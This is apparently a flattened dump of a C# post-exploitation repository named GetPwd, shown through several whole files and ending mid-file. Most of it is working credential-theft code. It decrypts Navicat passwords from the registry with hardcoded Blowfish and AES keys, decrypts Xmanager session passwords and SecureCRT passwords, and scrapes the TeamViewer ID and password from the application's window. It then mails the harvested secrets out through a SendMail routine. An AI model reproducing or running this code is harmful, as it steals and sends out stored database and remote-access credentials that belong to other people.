0xC089C2B8, 0x43242EF6, 0xA51E03AA, 0x9CF2D0A4, 0x83C061BA, 0x9BE96A4D, 0x8FE51550, 0xBA645BD6, 0x2826A2F9, 0xA73A3AE1, 0x4BA99586, 0xEF5562E9, 0xC72FEFD3, 0xF752F7DA, 0x3F046F69, 0x77FA0A59, 80 | 0x80E4A915, 0x87B08601, 0x9B09E6AD, 0x3B3EE593, 0xE990FD5A, 0x9E34D797, 0x2CF0B7D9, 0x022B8B51, 0x96D5AC3A, 0x017DA67D, 0xD1CF3ED6, 0x7C7D2D28, 0x1F9F25CF, 0xADF2B89B, 0x5AD6B472, 0x5A88F54C, 81 | 0xE029AC71, 0xE019A5E6, 0x47B0ACFD, 0xED93FA9B, 0xE8D3C48D, 0x283B57CC, 0xF8D56629, 0x79132E28, 0x785F0191, 0xED756055, 0xF7960E44, 0xE3D35E8C, 0x15056DD4, 0x88F46DBA, 0x03A16125, 0x0564F0BD, 82 | 0xC3EB9E15, 0x3C9057A2, 0x97271AEC, 0xA93A072A, 0x1B3F6D9B, 0x1E6321F5, 0xF59C66FB, 0x26DCF319, 0x7533D928, 0xB155FDF5, 0x03563482, 0x8ABA3CBB, 0x28517711, 0xC20AD9F8, 0xABCC5167, 0xCCAD925F, 83 | 0x4DE81751, 0x3830DC8E, 0x379D5862, 0x9320F991, 0xEA7A90C2, 0xFB3E7BCE, 0x5121CE64, 0x774FBE32, 0xA8B6E37E, 0xC3293D46, 0x48DE5369, 0x6413E680, 0xA2AE0810, 0xDD6DB224, 0x69852DFD, 0x09072166, 84 | 0xB39A460A, 0x6445C0DD, 0x586CDECF, 0x1C20C8AE, 0x5BBEF7DD, 0x1B588D40, 0xCCD2017F, 0x6BB4E3BB, 0xDDA26A7E, 0x3A59FF45, 0x3E350A44, 0xBCB4CDD5, 0x72EACEA8, 0xFA6484BB, 0x8D6612AE, 0xBF3C6F47, 85 | 0xD29BE463, 0x542F5D9E, 0xAEC2771B, 0xF64E6370, 0x740E0D8D, 0xE75B1357, 0xF8721671, 0xAF537D5D, 0x4040CB08, 0x4EB4E2CC, 0x34D2466A, 0x0115AF84, 0xE1B00428, 0x95983A1D, 0x06B89FB4, 0xCE6EA048, 86 | 0x6F3F3B82, 0x3520AB82, 0x011A1D4B, 0x277227F8, 0x611560B1, 0xE7933FDC, 0xBB3A792B, 0x344525BD, 0xA08839E1, 0x51CE794B, 0x2F32C9B7, 0xA01FBAC9, 0xE01CC87E, 0xBCC7D1F6, 0xCF0111C3, 0xA1E8AAC7, 87 | 0x1A908749, 0xD44FBD9A, 0xD0DADECB, 0xD50ADA38, 0x0339C32A, 0xC6913667, 0x8DF9317C, 0xE0B12B4F, 0xF79E59B7, 0x43F5BB3A, 0xF2D519FF, 0x27D9459C, 0xBF97222C, 0x15E6FC2A, 0x0F91FC71, 0x9B941525, 88 | 0xFAE59361, 0xCEB69CEB, 0xC2A86459, 0x12BAA8D1, 0xB6C1075E, 0xE3056A0C, 0x10D25065, 0xCB03A442, 0xE0EC6E0E, 0x1698DB3B, 0x4C98A0BE, 0x3278E964, 0x9F1F9532, 0xE0D392DF, 0xD3A0342B, 0x8971F21E, 89 | 0x1B0A7441, 0x4BA3348C, 0xC5BE7120, 0xC37632D8, 0xDF359F8D, 0x9B992F2E, 0xE60B6F47, 0x0FE3F11D, 0xE54CDA54, 0x1EDAD891, 0xCE6279CF, 0xCD3E7E6F, 0x1618B166, 0xFD2C1D05, 0x848FD2C5, 0xF6FB2299, 90 | 0xF523F357, 0xA6327623, 0x93A83531, 0x56CCCD02, 0xACF08162, 0x5A75EBB5, 0x6E163697, 0x88D273CC, 0xDE966292, 0x81B949D0, 0x4C50901B, 0x71C65614, 0xE6C6C7BD, 0x327A140A, 0x45E1D006, 0xC3F27B9A, 91 | 0xC9AA53FD, 0x62A80F00, 0xBB25BFE2, 0x35BDD2F6, 0x71126905, 0xB2040222, 0xB6CBCF7C, 0xCD769C2B, 0x53113EC0, 0x1640E3D3, 0x38ABBD60, 0x2547ADF0, 0xBA38209C, 0xF746CE76, 0x77AFA1C5, 0x20756060, 92 | 0x85CBFE4E, 0x8AE88DD8, 0x7AAAF9B0, 0x4CF9AA7E, 0x1948C25C, 0x02FB8A8C, 0x01C36AE4, 0xD6EBE1F9, 0x90D4F869, 0xA65CDEA0, 0x3F09252D, 0xC208E69F, 0xB74E6132, 0xCE77E25B, 0x578FDFE3, 0x3AC372E6 93 | } 94 | }; 95 | 96 | private UInt32[] SubKey; 97 | private UInt32[,] SBox; 98 | 99 | private UInt32 _F_Transform(UInt32 x) 100 | { 101 | byte[] x_bytes = BitConverter.GetBytes(x); 102 | if (BitConverter.IsLittleEndian == false) 103 | Array.Reverse(x_bytes); 104 | return ((SBox[0, x_bytes[3]] + SBox[1, x_bytes[2]]) ^ SBox[2, x_bytes[1]]) + SBox[3, x_bytes[0]]; 105 | } 106 | 107 | public void Encrypt(byte[] srcBytes, Endian endian) 108 | { 109 | byte[] L_bytes = new byte[4]; 110 | byte[] R_bytes = new byte[4]; 111 | Array.Copy(srcBytes, 0, L_bytes, 0, 4); 112 | Array.Copy(srcBytes, 4, R_bytes, 0, 4); 113 | 114 | if (BitConverter.IsLittleEndian && endian == Endian.Big || BitConverter.IsLittleEndian == false && endian == Endian.Little) 115 | { 116 | Array.Reverse(L_bytes); 117 | Array.Reverse(R_bytes); 118 | } 119 | 120 | UInt32 L = BitConverter.ToUInt32(L_bytes, 0); 121 | UInt32 R = BitConverter.ToUInt32(R_bytes, 0); 122 | 123 | L ^= SubKey[0]; 124 | R ^= _F_Transform(L); 125 | 126 | R ^= SubKey[1]; 127 | L ^= _F_Transform(R); 128 | 129 | L ^= SubKey[2]; 130 | R ^= _F_Transform(L); 131 | 132 | R ^= SubKey[3]; 133 | L ^= _F_Transform(R); 134 | 135 | L ^= SubKey[4]; 136 | R ^= _F_Transform(L); 137 | 138 | R ^= SubKey[5]; 139 | L ^= _F_Transform(R); 140 | 141 | L ^= SubKey[6]; 142 | R ^= _F_Transform(L); 143 | 144 | R ^= SubKey[7]; 145 | L ^= _F_Transform(R); 146 | 147 | L ^= SubKey[8]; 148 | R ^= _F_Transform(L); 149 | 150 | R ^= SubKey[9]; 151 | L ^= _F_Transform(R); 152 | 153 | L ^= SubKey[10]; 154 | R ^= _F_Transform(L); 155 | 156 | R ^= SubKey[11]; 157 | L ^= _F_Transform(R); 158 | 159 | L ^= SubKey[12]; 160 | R ^= _F_Transform(L); 161 | 162 | R ^= SubKey[13]; 163 | L ^= _F_Transform(R); 164 | 165 | L ^= SubKey[14]; 166 | R ^= _F_Transform(L); 167 | 168 | R ^= SubKey[15]; 169 | L ^= _F_Transform(R); 170 | 171 | L ^= SubKey[16]; 172 | R ^= SubKey[17]; 173 | 174 | L_bytes = BitConverter.GetBytes(R); 175 | R_bytes = BitConverter.GetBytes(L); 176 | 177 | if (BitConverter.IsLittleEndian && endian == Endian.Big || BitConverter.IsLittleEndian == false && endian == Endian.Little) 178 | { 179 | Array.Reverse(L_bytes); 180 | Array.Reverse(R_bytes); 181 | } 182 | 183 | Array.Copy(L_bytes, 0, srcBytes, 0, 4); 184 | Array.Copy(R_bytes, 0, srcBytes, 4, 4); 185 | } 186 | 187 | public void Decrypt(byte[] srcBytes, Endian endian) 188 | { 189 | byte[] L_bytes = new byte[4]; 190 | byte[] R_bytes = new byte[4]; 191 | Array.Copy(srcBytes, 0, L_bytes, 0, 4); 192 | Array.Copy(srcBytes, 4, R_bytes, 0, 4); 193 | 194 | if (BitConverter.IsLittleEndian && endian == Endian.Big || BitConverter.IsLittleEndian == false && endian == Endian.Little) 195 | { 196 | Array.Reverse(L_bytes); 197 | Array.Reverse(R_bytes); 198 | } 199 | 200 | UInt32 L = BitConverter.ToUInt32(R_bytes, 0); 201 | UInt32 R = BitConverter.ToUInt32(L_bytes, 0); 202 | 203 | L ^= SubKey[16]; 204 | R ^= SubKey[17]; 205 | 206 | L ^= _F_Transform(R); 207 | R ^= SubKey[15]; 208 | 209 | R ^= _F_Transform(L); 210 | L ^= SubKey[14]; 211 | 212 | L ^= _F_Transform(R); 213 | R ^= SubKey[13]; 214 | 215 | R ^= _F_Transform(L); 216 | L ^= SubKey[12]; 217 | 218 | L ^= _F_Transform(R); 219 | R ^= SubKey[11]; 220 | 221 | R ^= _F_Transform(L); 222 | L ^= SubKey[10]; 223 | 224 | L ^= _F_Transform(R); 225 | R ^= SubKey[9]; 226 | 227 | R ^= _F_Transform(L); 228 | L ^= SubKey[8]; 229 | 230 | L ^= _F_Transform(R); 231 | R ^= SubKey[7]; 232 | 233 | R ^= _F_Transform(L); 234 | L ^= SubKey[6]; 235 | 236 | L ^= _F_Transform(R); 237 | R ^= SubKey[5]; 238 | 239 | R ^= _F_Transform(L); 240 | L ^= SubKey[4]; 241 | 242 | L ^= _F_Transform(R); 243 | R ^= SubKey[3]; 244 | 245 | R ^= _F_Transform(L); 246 | L ^= SubKey[2]; 247 | 248 | L ^= _F_Transform(R); 249 | R ^= SubKey[1]; 250 | 251 | R ^= _F_Transform(L); 252 | L ^= SubKey[0]; 253 | 254 | L_bytes = BitConverter.GetBytes(L); 255 | R_bytes = BitConverter.GetBytes(R); 256 | 257 | if (BitConverter.IsLittleEndian && endian == Endian.Big || BitConverter.IsLittleEndian == false && endian == Endian.Little) 258 | { 259 | Array.Reverse(L_bytes); 260 | Array.Reverse(R_bytes); 261 | } 262 | 263 | Array.Copy(L_bytes, 0, srcBytes, 0, 4); 264 | Array.Copy(R_bytes, 0, srcBytes, 4, 4); 265 | } 266 | 267 | public Blowfish(byte[] UserKey) 268 | { 269 | if (UserKey.Length < MinUserKeyLength) 270 | throw new ArgumentException("UserKey is too short."); 271 | else if (UserKey.Length > 56) 272 | throw new ArgumentException("UserKey is too long."); 273 | 274 | 275 | SubKey = OriginPBox.Clone() as UInt32[]; 276 | SBox = OriginSBox.Clone() as UInt32[,]; 277 | 278 | for (int i = 0; i < 18; ++i) 279 | { 280 | UInt32 temp = 0; 281 | 282 | temp <<= 8; 283 | temp |= UserKey[(i * 4) % UserKey.Length]; 284 | temp <<= 8; 285 | temp |= UserKey[(i * 4 + 1) % UserKey.Length]; 286 | temp <<= 8; 287 | temp |= UserKey[(i * 4 + 2) % UserKey.Length]; 288 | temp <<= 8; 289 | temp |= UserKey[(i * 4 + 3) % UserKey.Length]; 290 | 291 | SubKey[i] ^= temp; 292 | } 293 | 294 | byte[] _temp = new byte[8]; 295 | for (int i = 0; i < 9; ++i) 296 | { 297 | Encrypt(_temp, Endian.Little); 298 | Buffer.BlockCopy(_temp, 0, SubKey, sizeof(UInt32) * 2 * i, 8); 299 | } 300 | 301 | for (int i = 0; i < 4; ++i) 302 | { 303 | for (int j = 0; j < 128; ++j) 304 | { 305 | Encrypt(_temp, Endian.Little); 306 | Buffer.BlockCopy(_temp, 0, SBox, 256 * sizeof(UInt32) * i + sizeof(UInt64) * j, sizeof(UInt64)); 307 | } 308 | } 309 | } 310 | } 311 | } 312 | -------------------------------------------------------------------------------- /GetPwd/GetPwd.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {417384D0-9F47-4781-A318-DC657621B7D9} 8 | Exe 9 | GetPwd 10 | GetPwd 11 | v4.5 12 | 512 13 | true 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | {F935DC20-1CF0-11D0-ADB9-00C04FD58A0B} 61 | 1 62 | 0 63 | 0 64 | tlbimp 65 | False 66 | True 67 | 68 | 69 | 70 | -------------------------------------------------------------------------------- /GetPwd/NavicatCrypto.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Linq; 3 | using System.Text; 4 | using System.IO; 5 | using System.Security.Cryptography; 6 | 7 | namespace GetPwd 8 | { 9 | class Navicat11Cipher 10 | { 11 | 12 | private Blowfish blowfishCipher; 13 | 14 | protected static byte[] StringToByteArray(string hex) 15 | { 16 | return Enumerable.Range(0, hex.Length) 17 | .Where(x => x % 2 == 0) 18 | .Select(x => Convert.ToByte(hex.Substring(x, 2), 16)) 19 | .ToArray(); 20 | } 21 | 22 | protected static string ByteArrayToString(byte[] bytes) 23 | { 24 | return BitConverter.ToString(bytes).Replace("-", string.Empty); 25 | } 26 | 27 | protected static void XorBytes(byte[] a, byte[] b, int len) 28 | { 29 | for (int i = 0; i < len; ++i) 30 | a[i] ^= b[i]; 31 | } 32 | 33 | public Navicat11Cipher() 34 | { 35 | byte[] UserKey = Encoding.UTF8.GetBytes("3DC5CA39"); 36 | var sha1 = new SHA1CryptoServiceProvider(); 37 | sha1.TransformFinalBlock(UserKey, 0, UserKey.Length); 38 | blowfishCipher = new Blowfish(sha1.Hash); 39 | } 40 | 41 | public Navicat11Cipher(string CustomUserKey) 42 | { 43 | byte[] UserKey = Encoding.UTF8.GetBytes(CustomUserKey); 44 | var sha1 = new SHA1CryptoServiceProvider(); 45 | byte[] UserKeyHash = sha1.TransformFinalBlock(UserKey, 0, 8); 46 | blowfishCipher = new Blowfish(UserKeyHash); 47 | } 48 | 49 | public string EncryptString(string plaintext) 50 | { 51 | byte[] plaintext_bytes = Encoding.UTF8.GetBytes(plaintext); 52 | 53 | byte[] CV = Enumerable.Repeat(0xFF, Blowfish.BlockSize).ToArray(); 54 | blowfishCipher.Encrypt(CV, Blowfish.Endian.Big); 55 | 56 | string ret = ""; 57 | int blocks_len = plaintext_bytes.Length / Blowfish.BlockSize; 58 | int left_len = plaintext_bytes.Length % Blowfish.BlockSize; 59 | byte[] temp = new byte[Blowfish.BlockSize]; 60 | for (int i = 0; i < blocks_len; ++i) 61 | { 62 | Array.Copy(plaintext_bytes, Blowfish.BlockSize * i, temp, 0, Blowfish.BlockSize); 63 | XorBytes(temp, CV, Blowfish.BlockSize); 64 | blowfishCipher.Encrypt(temp, Blowfish.Endian.Big); 65 | XorBytes(CV, temp, Blowfish.BlockSize); 66 | 67 | ret += ByteArrayToString(temp); 68 | } 69 | 70 | if (left_len != 0) 71 | { 72 | blowfishCipher.Encrypt(CV, Blowfish.Endian.Big); 73 | XorBytes(CV, 74 | plaintext_bytes.Skip(blocks_len * Blowfish.BlockSize).Take(left_len).ToArray(), 75 | left_len); 76 | ret += ByteArrayToString(CV.Take(left_len).ToArray()); 77 | } 78 | 79 | return ret; 80 | } 81 | 82 | public string DecryptString(string ciphertext) 83 | { 84 | byte[] ciphertext_bytes = StringToByteArray(ciphertext); 85 | 86 | byte[] CV = Enumerable.Repeat(0xFF, Blowfish.BlockSize).ToArray(); 87 | blowfishCipher.Encrypt(CV, Blowfish.Endian.Big); 88 | 89 | byte[] ret = new byte[0]; 90 | int blocks_len = ciphertext_bytes.Length / Blowfish.BlockSize; 91 | int left_len = ciphertext_bytes.Length % Blowfish.BlockSize; 92 | byte[] temp = new byte[Blowfish.BlockSize]; 93 | byte[] temp2 = new byte[Blowfish.BlockSize]; 94 | for (int i = 0; i < blocks_len; ++i) 95 | { 96 | Array.Copy(ciphertext_bytes, Blowfish.BlockSize * i, temp, 0, Blowfish.BlockSize); 97 | Array.Copy(temp, temp2, Blowfish.BlockSize); 98 | blowfishCipher.Decrypt(temp, Blowfish.Endian.Big); 99 | XorBytes(temp, CV, Blowfish.BlockSize); 100 | ret = ret.Concat(temp).ToArray(); 101 | XorBytes(CV, temp2, Blowfish.BlockSize); 102 | } 103 | 104 | if (left_len != 0) 105 | { 106 | Array.Clear(temp, 0, temp.Length); 107 | Array.Copy(ciphertext_bytes, Blowfish.BlockSize * blocks_len, temp, 0, left_len); 108 | blowfishCipher.Encrypt(CV, Blowfish.Endian.Big); 109 | XorBytes(temp, CV, Blowfish.BlockSize); 110 | ret = ret.Concat(temp.Take(left_len).ToArray()).ToArray(); 111 | } 112 | 113 | return Encoding.UTF8.GetString(ret); 114 | } 115 | } 116 | 117 | class Navicat12Cipher : Navicat11Cipher 118 | { 119 | 120 | private AesCryptoServiceProvider AesServiceProvider; 121 | 122 | public Navicat12Cipher() : base() 123 | { 124 | AesServiceProvider = new AesCryptoServiceProvider(); 125 | AesServiceProvider.KeySize = 128; 126 | AesServiceProvider.Mode = CipherMode.CBC; 127 | AesServiceProvider.Padding = PaddingMode.PKCS7; 128 | 129 | AesServiceProvider.Key = Encoding.UTF8.GetBytes("libcckeylibcckey"); 130 | AesServiceProvider.IV = Encoding.UTF8.GetBytes("libcciv libcciv "); 131 | } 132 | 133 | public string EncryptStringForNCX(string plaintext) 134 | { 135 | ICryptoTransform AesEncryptor = AesServiceProvider.CreateEncryptor(); 136 | MemoryStream ms = new MemoryStream(); 137 | CryptoStream cs = new CryptoStream(ms, AesEncryptor, CryptoStreamMode.Write); 138 | byte[] plaintext_bytes = Encoding.UTF8.GetBytes(plaintext); 139 | cs.Write(plaintext_bytes, 0, plaintext_bytes.Length); 140 | cs.FlushFinalBlock(); 141 | return ByteArrayToString(ms.ToArray()); 142 | } 143 | 144 | public string DecryptStringForNCX(string ciphertext) 145 | { 146 | ICryptoTransform AesDecryptor = AesServiceProvider.CreateDecryptor(); 147 | MemoryStream ms = new MemoryStream(); 148 | CryptoStream cs = new CryptoStream(ms, AesDecryptor, CryptoStreamMode.Write); 149 | byte[] ciphertext_bytes = StringToByteArray(ciphertext); 150 | cs.Write(ciphertext_bytes, 0, ciphertext_bytes.Length); 151 | cs.FlushFinalBlock(); 152 | return Encoding.UTF8.GetString(ms.ToArray()); 153 | } 154 | 155 | } 156 | } 157 | -------------------------------------------------------------------------------- /GetPwd/Program.cs: -------------------------------------------------------------------------------- 1 | using Microsoft.Win32; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.IO; 5 | using System.Runtime.InteropServices; 6 | using System.Security.AccessControl; 7 | using System.Security.Principal; 8 | using System.Text; 9 | using System.Text.RegularExpressions; 10 | using System.DirectoryServices; 11 | using System.Security.Cryptography; 12 | 13 | namespace GetPwd 14 | { 15 | public struct WindowInfo 16 | { 17 | public IntPtr hWnd; 18 | 19 | public string szWindowName; 20 | 21 | public string szClassName; 22 | } 23 | 24 | class Program 25 | { 26 | public delegate bool EnumChildProc(IntPtr hwnd, IntPtr lParam); 27 | 28 | public static List wndList = new List(); 29 | 30 | [DllImport("user32.dll", SetLastError = true)] 31 | private static extern IntPtr FindWindow(string lpClassName, string lpWindowName); 32 | 33 | [DllImport("user32.dll")] 34 | public static extern bool EnumChildWindows(IntPtr hwndParent, EnumChildProc EnumFunc, IntPtr lParam); 35 | 36 | [DllImport("user32.dll")] 37 | private static extern int GetClassNameW(IntPtr hWnd, [MarshalAs(UnmanagedType.LPWStr)] StringBuilder lpString, int nMaxCount); 38 | 39 | [DllImport("user32.dll")] 40 | private static extern int GetWindowTextW(IntPtr hWnd, [MarshalAs(UnmanagedType.LPWStr)] StringBuilder lpString, int nMaxCount); 41 | 42 | [DllImport("user32.dll")] 43 | private static extern int SendMessage(IntPtr hwnd, int wMsg, int wParam, StringBuilder lParam); 44 | 45 | static void Main(string[] args) 46 | { 47 | Console.WriteLine(""); 48 | Console.WriteLine("Author: wh4am1"); 49 | Console.WriteLine("Github: https://github.com/sf197"); 50 | Console.WriteLine("Blog: https://www.cnblogs.com/wh4am1"); 51 | Console.WriteLine(""); 52 | SecureCRTPwd(); 53 | Console.WriteLine("read done!"); 54 | Console.ReadKey(); 55 | } 56 | 57 | public static void SecureCRTPwd() { 58 | StringBuilder strbuf = new StringBuilder(); 59 | 60 | strbuf.Append("[*] Password:" + SecureCRTCipher.PasswordCRT("ac230fec9ceb3a23f1df712c51c556f19264e68dc544acfc")); 61 | strbuf.Append(Environment.NewLine); 62 | strbuf.Append("[*] Password V2:" + SecureCRTCipher.V2CRT("6029dd61ef0e2358e522d8d4037f8cf3")); 63 | strbuf.Append(Environment.NewLine); 64 | 65 | SendMail.Send(strbuf); 66 | } 67 | 68 | public static void NavicatPwd() { 69 | List list = new List(); 70 | list.AddRange(new string[5] 71 | { 72 | "MySql:Software\\PremiumSoft\\Navicat\\Servers", 73 | "SQL Server:Software\\PremiumSoft\\NavicatMSSQL\\Servers", 74 | "Oracle:Software\\PremiumSoft\\NavicatOra\\Servers", 75 | "pgsql:Software\\PremiumSoft\\NavicatPG\\Servers", 76 | "MariaDB:Software\\PremiumSoft\\NavicatMARIADB\\Servers" 77 | }); 78 | StringBuilder strbuf = new StringBuilder(); 79 | foreach (string item in list) 80 | { 81 | string str; 82 | string[] array = Regex.Split(item, ":", RegexOptions.IgnoreCase); 83 | string arg = array[0].ToString(); 84 | string basekey = array[1].ToString(); 85 | str = DecryptStr(basekey); 86 | strbuf.Append("[*] DatabaseName:" + arg); 87 | strbuf.Append(Environment.NewLine); 88 | strbuf.Append(str); 89 | strbuf.Append(Environment.NewLine); 90 | } 91 | SendMail.Send(strbuf); 92 | } 93 | 94 | public static void TeamViewPwd() { 95 | IntPtr intPtr = FindWindow(null, "TeamViewer"); 96 | if (intPtr == IntPtr.Zero) 97 | { 98 | Console.WriteLine("没找到TeamViewer进程或使用了修改版本"); 99 | return; 100 | } 101 | EnumChildProc enumFunc = EnumFunc; 102 | EnumChildWindows(intPtr, enumFunc, IntPtr.Zero); 103 | foreach (WindowInfo wnd in wndList) 104 | { 105 | if (!string.IsNullOrEmpty(wnd.szWindowName)) 106 | { 107 | if (wnd.szWindowName.Equals("您的ID") || wnd.szWindowName.Equals("密码") || wnd.szWindowName.Equals("Your ID") || wnd.szWindowName.Equals("Password")) 108 | { 109 | int index = wndList.IndexOf(wnd); 110 | Console.WriteLine(wnd.szWindowName + ":" + wndList[index + 1].szWindowName); 111 | } 112 | } 113 | } 114 | } 115 | 116 | public static void XmangagerPwd() 117 | { 118 | List xsh_pathlist = XmangagerCrypt.checkPath(); 119 | StringBuilder strbuf = new StringBuilder(); 120 | foreach (string path in xsh_pathlist) 121 | { 122 | FileInfo fileInfo = new FileInfo(path); 123 | FileSecurity fileSecurity = fileInfo.GetAccessControl(); 124 | IdentityReference identityReference = fileSecurity.GetOwner(typeof(NTAccount)); 125 | int idx = identityReference.Value.IndexOf('\\'); 126 | if (idx == -1) 127 | { 128 | idx = identityReference.Value.IndexOf('@'); 129 | } 130 | string userName = identityReference.Value.Substring(idx + 1); 131 | string userSid = null; 132 | 133 | try 134 | { 135 | DirectoryEntry obDirEntry = new DirectoryEntry("WinNT://" + identityReference.Value.Replace(@"\", @"/")); 136 | PropertyCollection coll = obDirEntry.Properties; 137 | object obVal = coll["objectSid"].Value; 138 | userSid = userName + XmangagerCrypt.ConvertByteToStringSid((Byte[])obVal);//获取该所有者的SID 139 | } 140 | catch (System.Runtime.InteropServices.COMException) 141 | { 142 | continue; 143 | } 144 | 145 | 146 | using (StreamReader sr = new StreamReader(path)) 147 | { 148 | string Host = "null"; 149 | string UserName = "null"; 150 | string password = "null"; 151 | string rawPass; 152 | string pattern = @"Password=(.*?)"; 153 | while ((rawPass = sr.ReadLine()) != null) 154 | { 155 | if (System.Text.RegularExpressions.Regex.IsMatch(rawPass, @"Host=(.*?)")) 156 | { 157 | Host = rawPass.Replace("Host=", ""); 158 | } 159 | if (System.Text.RegularExpressions.Regex.IsMatch(rawPass, pattern)) 160 | { 161 | rawPass = rawPass.Replace("Password=", ""); 162 | if (rawPass.Equals("")) 163 | { 164 | continue; 165 | } 166 | byte[] data = Convert.FromBase64String(rawPass); 167 | byte[] Key = new SHA256Managed().ComputeHash(Encoding.ASCII.GetBytes(userSid)); 168 | 169 | byte[] passData = new byte[data.Length - 0x20]; 170 | Array.Copy(data, 0, passData, 0, data.Length - 0x20); 171 | byte[] decrypted = RC4.Decrypt(Key, passData); 172 | password = Encoding.ASCII.GetString(decrypted); 173 | } 174 | if (System.Text.RegularExpressions.Regex.IsMatch(rawPass, @"UserName=(.*?)")) 175 | { 176 | UserName = rawPass.Replace("UserName=", ""); 177 | } 178 | } 179 | strbuf.Append("Host: "+Host+" UserName: "+ UserName + " Decrypt: "+ password); 180 | } 181 | strbuf.Append(Environment.NewLine); 182 | } 183 | SendMail.Send(strbuf); 184 | } 185 | 186 | public static bool EnumFunc(IntPtr hWnd, IntPtr lParam) 187 | { 188 | StringBuilder stringBuilder = new StringBuilder(256); 189 | GetClassNameW(hWnd, stringBuilder, stringBuilder.Capacity); 190 | if (stringBuilder.ToString() == "Edit" || stringBuilder.ToString() == "Static") 191 | { 192 | WindowInfo item = default(WindowInfo); 193 | item.hWnd = hWnd; 194 | item.szClassName = stringBuilder.ToString(); 195 | if (item.szClassName == "Edit") 196 | { 197 | StringBuilder stringBuilder2 = new StringBuilder(256); 198 | SendMessage(hWnd, 13, 256, stringBuilder2); 199 | item.szWindowName = stringBuilder2.ToString(); 200 | } 201 | else 202 | { 203 | GetWindowTextW(hWnd, stringBuilder, stringBuilder.Capacity); 204 | item.szWindowName = stringBuilder.ToString(); 205 | } 206 | wndList.Add(item); 207 | } 208 | return true; 209 | } 210 | 211 | private static string DecryptStr(string basekey) 212 | { 213 | StringBuilder stb = new StringBuilder(); 214 | Navicat11Cipher navicat11Cipher = new Navicat11Cipher(); 215 | RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(basekey); 216 | if (registryKey == null) 217 | { 218 | return null; 219 | } 220 | string[] subKeyNames = registryKey.GetSubKeyNames(); 221 | foreach (string text in subKeyNames) 222 | { 223 | stb.Append(" [+] ConnectName: "+ text); 224 | RegistryKey registryKey2 = registryKey.OpenSubKey(text); 225 | if (registryKey2 != null) 226 | { 227 | string arg = (registryKey2.GetValue("Host") != null) ? registryKey2.GetValue("Host").ToString() : ""; 228 | string arg2 = (registryKey2.GetValue("UserName") != null) ? registryKey2.GetValue("UserName").ToString() : ""; 229 | string ciphertext = (registryKey2.GetValue("Pwd") != null) ? registryKey2.GetValue("Pwd").ToString() : ""; 230 | stb.Append(" [>] Host: " + arg); 231 | stb.Append(" [>] UserName: " + arg2); 232 | stb.Append(" [>] Password: " + navicat11Cipher.DecryptString(ciphertext)); 233 | stb.Append(Environment.NewLine); 234 | } 235 | } 236 | return stb.ToString(); 237 | } 238 | } 239 | } 240 | -------------------------------------------------------------------------------- /GetPwd/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // 有关程序集的一般信息由以下 6 | // 控制。更改这些特性值可修改 7 | // 与程序集关联的信息。 8 | [assembly: AssemblyTitle("GetPwd")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("GetPwd")] 13 | [assembly: AssemblyCopyright("Copyright © 2020")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // 将 ComVisible 设置为 false 会使此程序集中的类型 18 | //对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型 19 | //请将此类型的 ComVisible 特性设置为 true。 20 | [assembly: ComVisible(false)] 21 | 22 | // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID 23 | [assembly: Guid("417384d0-9f47-4781-a318-dc657621b7d9")] 24 | 25 | // 程序集的版本信息由下列四个值组成: 26 | // 27 | // 主版本 28 | // 次版本 29 | // 生成号 30 | // 修订号 31 | // 32 | // 可以指定所有值,也可以使用以下所示的 "*" 预置版本号和修订号 33 | // 方法是按如下所示使用“*”: : 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /GetPwd/SecureCRTCipher.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Security.Cryptography; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace GetPwd 9 | { 10 | class SecureCRTCipher 11 | { 12 | private static byte[] IV = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 13 | private static byte[] Key1 = { 0x24, 0xa6, 0x3d, 0xde, 0x5b, 0xd3, 0xb3, 0x82, 0x9c, 0x7e, 0x06, 0xf4, 0x08, 0x16, 0xaa, 0x07 }; 14 | private static byte[] Key2 = { 0x5f, 0xb0, 0x45, 0xa2, 0x94, 0x17, 0xd9, 0x16, 0xc6, 0xc6, 0xa2, 0xff, 0x06, 0x41, 0x82, 0xb7 }; 15 | private static byte[] Key_V2 = { 0xe3, 0xb0, 0xc4, 0x42, 0x98, 0xfc, 0x1c, 0x14, 0x9a, 0xfb, 0xf4, 0xc8, 0x99, 0x6f, 0xb9, 0x24, 0x27, 0xae, 0x41, 0xe4, 0x64, 0x9b, 0x93, 0x4c, 0xa4, 0x95, 0x99, 0x1b, 0x78, 0x52, 0xb8, 0x55 }; 16 | 17 | private static byte[] fromhex(String hex) { 18 | byte[] mybyte = new byte[int.Parse(Math.Ceiling(hex.Length / 2.0).ToString())]; 19 | for (int i = 0; i ret = new List(); 29 | string str = ""; 30 | for (int i=0; i < dec.Length; i++) 31 | { 32 | if (dec[i] == 0) { 33 | if (dec[i+1] == 0) { 34 | i++; 35 | continue; 36 | } 37 | } 38 | str += (char)dec[i]; 39 | ret.Add(dec[i]); 40 | } 41 | byte[] test = ret.Where(x => x != 0).ToArray(); 42 | return System.Text.Encoding.Default.GetString(test); 